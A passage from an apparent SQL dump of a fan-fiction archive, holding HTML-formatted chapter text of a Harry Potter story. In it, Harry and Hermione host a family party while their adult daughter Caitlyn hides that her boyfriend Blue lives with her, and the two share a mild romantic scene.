it&#8217;s not!&#8221;\nColin grabbed on as well. &#8220;We&#8217;re just having a party early so I could be here\nfor it. Let go!!!&#8221; he pulled hard and the toy broomstick was yanked away from\nhis brother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;MUMMMMM!!!&#8221; both\nboys screamed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione Potter\nsighed and leaned her forehead against the cool wooden cabinets. She had sent\nher two sons in to play while she fixed breakfast, and all had been quiet for a\ntotal of five minutes before the fighting began.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Colin, let him\nplay with it, you&#8217;re too old for it anyway!&#8221; she poked her head into the living\nroom. &#8220;Honestly!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But Mum, Grandpa\nSirius gave it to me, and if Carl takes it, he&#8217;ll break it!&#8221; Colin whined. &#8220;I\nstill want to keep it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione closed\nher eyes and counted to ten. &#8220;If you two do not stop fighting, you&#8217;ll go hungry\nuntil the party starts!&#8221; she threatened. &#8220;Now that&#8217;s enough!&#8221; Both boys let out\none final whine before Colin took the broom and ran upstairs with it. She\nducked back into the kitchen and grabbed her wand off the table. &#8220;Forget trying\nto prepare this the Muggle way.&#8221; She muttered, and with a flick of her wrist, a\nfull breakfast sat on the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh did you get\neverything done already?&#8221; Harry Potter asked innocently as he strolled into the\nkitchen. Hermione shot him a look filled with venom as she tied her dark\nshoulder length hair back into a ponytail.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So nice of you\nto help.&#8221; Her voice dripped with sarcasm. &#8220;You could have been down here a few\nminutes ago helping me with your sons.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So they&#8217;re my\nsons now?&#8221; Harry asked, knowing his wife wasn&#8217;t really angry. He encircled his\narms around her slim figure. She looked younger than her early forties,\nalthough raising three children certainly wasn&#8217;t easy. He had found a few grey\nhairs on his own head from time to time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When they argue\nthey are.&#8221; Hermione felt her stress evaporate as Harry&#8217;s arms tightened around\nher waist. &#8220;They&#8217;re troublemakers, just like you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh I&#8217;m a\ntroublemaker now eh?&#8221; Harry&#8217;s eyes twinkled. &#8220;Will you punish me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe tonight,\nif you&#8217;re good for the rest of the day&#8230;&#8221; Hermione smiled up at him as he leaned\ndown to press his lips against hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t you guys EVER\nstop snogging?&#8221; A voice at the doorway made them break apart. &#8220;I mean, it seems\nlike every time I come by and you two are in the kitchen, you&#8217;ve got to be\nkissing!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caty Cat!&#8221; Harry\nexclaimed, hurrying over to give his eldest daughter a hug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dad I&#8217;ve SO\noutgrown that name.&#8221; Caitlyn said, but she was grinning. &#8220;Hi Mum.&#8221; She said\nover Harry&#8217;s shoulder. Pulling herself out of her father&#8217;s embrace, she hugged\nher mother tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caitlyn what are\nyou wearing?&#8221; Harry asked in shock as he was treated to a view of her back. Her\nshirt was nothing more than a red kerchief, tied around her back, and she wore\n(faux) black leather pants. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Clothes.&#8221; She\nanswered. &#8220;Why, don&#8217;t you like them?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aren&#8217;t they a\nlittle&#8230;. small?&#8221; Harry chose his words carefully although he wanted to grab a\nlarge blanket and wrap it around her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Probably.&#8221;\nCaitlyn answered. She had become extremely lucky since leaving Hogwarts; the\nfall immediately following her graduation, she&#8217;d become the head of a large\nresearch firm based in Diagon Alley. Caitlyn could work wherever she felt like,\nand wear whatever she wanted, therefore her wardrobe had everything covering\nbusiness clothing to things she&#8217;d normally only wear away from her father&#8217;s\noverprotective eyes. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think you look\ncute.&#8221; Hermione said defensively. She also thought her daughter&#8217;s clothes were\na bit extreme, but after all; women did stick up for one another; that and the\nfact that she enjoyed annoying her husband.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;CATY!&#8221; a little\nvoice screamed from the doorway. A figure attached to a head of long black\ncurls came flying at her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Corny!&#8221;\nCaitlyn used the name that she, and ONLY she was allowed to call her younger\nsister Corinne. She picked her up and hugged her tightly, relieved for the\ninterruption. She had meant to change her clothes before coming over, but then\nBlue had come in the bedroom with breakfast and her mind had been&#8230;. elsewhere.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you bring me\na present from your trip?&#8221; Corinne asked, her green eyes sparkling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe.&#8221; Caitlyn\ngrinned. Corinne stuck out her lower lip, and Caitlyn laughed. &#8220;Of course I\ndid, I got something for everyone.&#8221; She gestured to the large bag she&#8217;d dropped\nin the hallway upon her arrival.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She had just\narrived home in England the previous evening from a two-week stay in Madrid,\nSpain, where she&#8217;d been doing research on an ancient amulet that mediwizards\nhad been searching for. It was rumoured to have exceptional healing powers, now\nif they could only find it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can I have it?&#8221;\nCorinne asked eagerly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Later, it&#8217;s your\nbirthday gift.&#8221; Caitlyn replied, setting her down and flipping her long braid\nback over her shoulder. &#8220;I&#8217;ve got to give Mum and Dad their gift now though.&#8221;\nShe grabbed the bag and retrieved a long flat package from the bottom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here, I got this\nfor you while we were travelling just outside Madrid.&#8221; She handed Hermione the\npackage.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caitlyn this is\ngorgeous!&#8221; Hermione lifted out a panoramic painting of the Spanish countryside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Isn&#8217;t it?&#8221;\nCaitlyn stepped next to her mother. &#8220;The artist had just finished painting this\none and I had to snap it right up. It looks exactly like the scenery.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks\nsweetheart.&#8221; Hermione set it down and hugged her daughter. &#8220;Isn&#8217;t this a\nwonderful gift, Harry?&#8221; she asked her husband, who still looked pained at their\ndaughter&#8217;s choice of clothing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s very nice.&#8221;\nHarry said. &#8220;Caitlyn, shouldn&#8217;t you put on something more&#8230;substantial&#8230;before\neveryone gets here?&#8221; he asked, and Caitlyn snickered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I will Dad,\ndon&#8217;t worry.&#8221; She rolled her eyes in his direction. &#8220;I&#8217;ve brought a change of\nclothes with me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Harry\nvisibly relaxed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caty is Blue\ngoing to come today?&#8221; Corinne asked, tugging on the bottom of Caitlyn&#8217;s very\nlong hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, he told me\nthis morning before he left he&#8217;d be by later, he&#8217;s got a meeting with the\nCannons at eleven.&#8221; Caitlyn said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This morning\nwhen he LEFT?&#8221; Harry asked pointedly, looking up from where he&#8217;d been admiring\nthe painting.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;&#8221; Caitlyn\nmentally swore at herself, she hadn&#8217;t meant to let that bit of information\nslip. She and Blue had been living together in her luxury flat for about seven\nmonths, unbeknownst to both sets of parents. Blue had simply told his folks he\nno longer needed his own flat, he spent so much time with the Cannons. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caitlyn, I&#8217;d\nlike to hear more about your research.&#8221; Hermione stepped in before Harry could\nsay anything else. Caitlyn shot her a grateful look as they stepped out of the\nkitchen and up the stairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;BREAKFAST!&#8221; A\nloud shout startled Harry as his two sons came charging into the room. Their\nearlier argument seemed to be forgotten as they laughed together while cramming\nall the food they could into their mouths. Within moments, the large breakfast\nHermione had prepared was completely gone, and so were the boys, leaving behind\na huge mess.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221; Harry\ncried after them as they raced outside. &#8220;Come back in here and clean up!&#8221; Colin\nand Carl both ignored him as they ran around the yard and back by the small\nforest surrounding his and Ron&#8217;s property. Harry shook his head and sighed,\nthen turned to the mess.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll help you\nDaddy.&#8221; The sweet voice of his almost five-year-old daughter rang in his ears.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks baby, but\nDaddy&#8217;s got it. Are you hungry?&#8221; he asked Corinne. She shook her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I want some cake\nlater.&#8221; She replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You don&#8217;t need\ncake, you&#8217;re sweet enough.&#8221; He growled, scooping her small body up in his arms\nand cuddling her. Corinne shrieked with delight and kissed her father&#8217;s cheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you\nDaddy.&#8221; She said, her small arms wrapping around his neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you too.&#8221;\nHarry set her down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Upstairs,\nHermione put her hand to her forehead. &#8220;Remind me again why we&#8217;re having a\nparty today?&#8221; she asked her daughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because Colin\nwon&#8217;t be here for their actual party, and as much as he hates to get along with\nCarl, he&#8217;d be upset to miss it.&#8221; Caitlyn replied helpfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; Hermione\nlet her arm drop down as they entered Caitlyn&#8217;s old bedroom. &#8220;So what was all\nthat about downstairs?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What was all\nwhat about?&#8221; Caitlyn pretended not to know what her mother was referring to.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caitlyn, I&#8217;m not\nso sure about your father sometimes but I&#8217;m certainly not stupid.&#8221; Hermione\nsaid, a smile starting at the corners of her mouth. &#8220;Sit.&#8221; She commanded,\npatting the bed on which she sat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn sat,\ndrawing out a long sigh. She should have known she couldn&#8217;t hide her relationship\nstatus from her mother, ever since Hermione had become a part of their lives\nagain they&#8217;d been extremely close. Caitlyn confided nearly everything to her;\nshe recalled only too clearly the advice she had gotten in the early stages of\nher relationship with Blue.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you want\nto know?&#8221; she asked, swinging her braid around so it hung in front of her. She\nloosened the end and began to unravel it, she&#8217;d let her hair grow extremely\nlong and it was most convenient to wear it back in a braid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How long as Blue\nbeen sleeping at your flat?&#8221; Hermione asked perceptively. &#8220;Not just last night\nI take it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;About seven\nmonths.&#8221; Caitlyn admitted, flopping down on her back. She looked up at her\nmother. &#8220;You won&#8217;t tell Dad will you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caitlyn, he&#8217;s\ngoing to find out sooner or later.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;d rather it be\nlater.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come now, don&#8217;t\nyou think he&#8217;d like this news?&#8221; Hermione teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great Wizards\nMum, he&#8217;d probably go try and lock me up in a convent!&#8221; Caitlyn flew up and off\nthe bed. &#8220;You know how overprotective he is.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know, &#8220;\nHermione smiled. &#8220;But you&#8217;re still his &#8216;baby&#8217; girl, no matter how old you get.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn knew this\nwas true. Her father had good reason to be overprotective of her, and for the\nmost part, she didn&#8217;t mind. &#8220;Just promise me you won&#8217;t say anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I promise.&#8221;\nHermione held up her hands in defeat. &#8220;I don&#8217;t like keeping secrets from your\nfather, but I won&#8217;t say a word. I don&#8217;t think he&#8217;ll react as badly as you think\nhe will, though.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you.&#8221;\nCaitlyn said in relief as she opened her bag and pulled out a button up white\nshirt and some jeans.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Have you two\ntalked about your future yet?&#8221; Hermione asked, plucking at a loose thread on\nthe quilt. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A little&#8230;&#8221;\nCaitlyn answered from the bathroom, where she was changing. &#8220;I mean, yes, we&#8217;ve\ntalked about getting married, but neither of us wants to.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You don&#8217;t want\nto get married?&#8221; Hermione was somewhat stunned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, not yet.&#8221;\nCaitlyn re-emerged, tossing her discarded clothes back in the bag. &#8220;Right now\nwe&#8217;re both content with the way things are.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As long as\nyou&#8217;re happy.&#8221; Hermione said. She was about to say something else when a crash\nwas heard from downstairs, followed by a few shouts. &#8220;Oh my&#8230;&#8221; she hurried from\nthe bedroom, Caitlyn following closely behind her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stood in the\nmiddle of the kitchen, covered with suds, a broken dish in his hand. Hermione\ncovered her mouth quickly to hide her amused smile. Colin and Carl both sat at\nthe table, Corinne next to the sink, all three of them also covered in soapy\nwhite foam.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What did you\nthree do to your father?&#8221; Hermione asked, trying not to laugh. Caitlyn was not\nso successful, and she stood in the doorway, clutching her stomach.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dad that&#8217;s a\ngreat look for you.&#8221; She giggled, and Harry turned and glowered at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Funny.&#8221; He scooped\nsome of the foam off his face and flicked it at his daughter, who jumped out of\nthe way and came into the kitchen. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What were you\ntrying to do?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Clean up the\nmess these two made!&#8221; Harry replied. &#8220;Only I don&#8217;t think I used the right\nspell.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t think so\neither.&#8221; Hermione said as Caitlyn hugged her soapy brothers. &#8220;Here.&#8221; She took\nHarry&#8217;s wand from his hand and muttered a few words, and he and the children\nwere all clean, as well as the kitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione to the\nrescue.&#8221; Harry grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As always.&#8221; She\nfinished. Hermione looked at her sons. &#8220;Have you two eaten?&#8221; they nodded\nvigorously. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So Colin, are\nyou excited about starting Hogwarts?&#8221; Caitlyn asked, sitting down next to her\nbrother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t wait.&#8221;\nColin replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, to\nfind out what house you&#8217;re in you have to battle a troll&#8230;&#8221; Caitlyn said\nwickedly. &#8220;If you fight it, you&#8217;ll go into Gryffindor, like me and Blue, and\nMum and Dad, and if you chicken out, you&#8217;ll go into Hufflepuff&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caitlyn, stop\ntelling your brother lies!&#8221; Hermione admonished. &#8220;Really!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mum already told\nme they just put a hat on my head!&#8221; Colin stuck his tongue out at her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You spoil all my\nfun Mum.&#8221; Caitlyn teased. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caty what time\nis Blue coming?&#8221; Carl asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Whenever his\nmeeting is done.&#8221; She replied. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s doing\nreally well this year isn&#8217;t he?&#8221; Harry asked, sitting down next to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn grinned\nproudly. &#8220;Yes he is, don&#8217;t tell him I told you this yet, but they&#8217;re saying\nhe&#8217;s the best keeper since Oliver Wood was on Puddlemere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really! That&#8217;s\ngreat!&#8221; Hermione said, happy for Blue.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s got to be\nreally excited about that, not many people can live up to Oliver&#8217;s status.&#8221;\nHarry said, remembering his former Hogwarts Quidditch captain. &#8220;The Cannons\nmust really be excited. I wonder if Ron knows this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sure Blue&#8217;s\ngoing to tell him today.&#8221; Caitlyn said. &#8220;So what time is everyone coming\ntoday?&#8221; she asked, steering the topic away from that of her boyfriend; she was\nhoping her father would forget her earlier slip-up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Early afternoon.&#8221;\nHermione replied. &#8220;Which reminds me, Lavender is coming over soon to help me\nget things ready.&#8221; She got up from the table. &#8220;Caitlyn, come with me I want to\nhear more about your research.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure Mum.&#8221;\nCaitlyn replied, walking out with her; leaving her father alone with her three\nmischievous siblings.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well that&#8217;s\nit for the first chapter! I have no clue when the next one will be out,\nwhenever I get it written! Please don&#8217;t forget to read and REVIEW, the positive\nresponses help me be more enthused about writing! :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(84, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 2</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN: A BIG GLOMPY\nthank you to everyone who took the time to review chapter one!!! I do apologise\nfor the delay in this chapter, but I suffered massive writers block, had my birthday\n(23 ACK! LOL) and Halloween, plus with CoS coming up in a few weeks I&#8217;m awfully\nexcited!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I would highly\nrecommend downloading the Chopin Nocturne in B Flat Minor for the end of this\nchapter. Yes, it&#8217;s the return of Piano Playing! Harry :D</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There are a few\nracy little scenes in this chapter&#8230;I tried to keep it as tame as possible, but\nwhen I had Blue channelling through me the other day it was difficult. So I&#8217;d\nsay it&#8217;s PG 15, but read at your own risk!!! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Enjoy the fluff\ntoo; because it&#8217;s probably the last you will see of it in this story&#8230;just\nwarning you now, things take a REALLY dark turn in the next chapter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And while you&#8217;re\nwaiting, please go and check out my other fics, Ryoko&#8217;s, and of course the two\nthat she and I are co writing! You will LOVE The Art of Seduction!!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He waited back in\nthe shadows of the downstairs corridor of the Potters&#8217; home. She was in the\ndoorway to the kitchen, laughing at something someone was saying. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You said it&#8217;s in\nthe den?&#8221; Caitlyn asked her mother and Lavender, referring to the tablecloth\nshe had just been asked to retrieve.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, in the\nthird drawer.&#8221; Hermione answered. Caitlyn turned, her long braid whipping around\nbehind her and went down the hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He watched as she\napproached, and when she was near enough, he reached out and grabbed her around\nthe waist, pulling her into the closet with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What the hell!&#8221;\nCaitlyn shouted, flinging her fists around.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lumos&#8230;&#8221; he\nwhispered, his wand lighting up the small space.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blue you\nasshole!&#8221; Caitlyn snapped, smacking his chest with her hand. He started\nlaughing. &#8220;You really scared me!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aw, I&#8217;m sorry.&#8221; Blue\nsaid impishly, his blue eyes lighting up mischievously. He stuck his wand on a\nshelf and wound his arms around her waist. &#8220;You know you&#8217;re not really mad at\nme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What makes you\nso sure?&#8221; Caitlyn asked loftily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because I&#8217;m so\nirresistible.&#8221; Blue replied, resting his forehead on hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn tried to\nmaintain her glare, but burst into giggles as he wagged his eyebrows and winked\nat her. &#8220;You are too much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know.&#8221; Blue\ngrinned. &#8220;That&#8217;s why you love me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That could be a\ngood reason.&#8221; Caitlyn said as he lowered his lips to hers. Her hands left his\nchest and travelled up to stroke the hair at his nape. Blue pressed his mouth\nharder against hers, lightly stroking his tongue along the seam of her lips.\nShe opened her mouth and he entered, lustfully exploring every inch of her that\nhe could.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blue&#8217;s lips left\nhers and began a path down her neck. He deftly began to unbutton her white\nblouse, sliding it over her shoulders. Caitlyn let a tiny cry escape her throat\nas he pressed his mouth to the spot right to the left of her chin; it was very\nsensitive, as he&#8217;d found out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She let her hands\nmove back over the satiny fabric of his Quidditch robe, untying it and letting\nit drop to the floor. Their mouths returned hotly to one another&#8217;s,\npassionately loving each moment. Blue began to tug on her bra strap,\nsuccessfully pulling one down and then reaching to do the same to the other,\nbut Caitlyn pulled her arm up and stopped him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blue, we can&#8217;t\ndo this in here.&#8221; She felt down on the floor for her shirt and slipped it back\non.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why not?&#8221; Blue\nasked, folding his Quidditch robe over his arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because, it&#8217;s my\nparent&#8217;s house for one thing&#8230;and I was supposed to be back ten minutes ago with\na tablecloth.&#8221; Caitlyn replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh.&#8221; Blue said,\nsmiling sheepishly. Caitlyn grinned back and kissed him one more time. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let me peek out\nto see if anyone&#8217;s out there&#8230;&#8221; she cracked the door open an inch or so and saw\nthat the hallway was empty. &#8220;We&#8217;re safe.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good.&#8221; Blue said\nas they got out and Caitlyn shut the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought you\nwere coming over later.&#8221; She said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Our meeting got\nout early.&#8221; Blue replied. &#8220;Plus the whole team was attacked.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Attacked?&#8221;\nCaitlyn&#8217;s green eyes grew wide.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Attacked by a\nhorde of teenagers!&#8221; he said. &#8220;First they nailed Mason, and then they came\nrunning for me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn started\nlaughing. &#8220;You poor thing, is fame too much for you to handle?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They tried to\nkiss me too.&#8221; Blue said, looking at his girlfriend from the corner of his eye.\n&#8216;Three&#8230;two&#8230;one&#8230;&#8217; he counted mentally.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You didn&#8217;t let\nthem did you?&#8221; she asked, narrowing her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I tried not\nto&#8230;but there was one&#8230;&#8221; Blue said devilishly, unable to control his smile any\nlonger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blue!&#8221; Caitlyn\nshouted angrily. He fell against the wall, bent over with 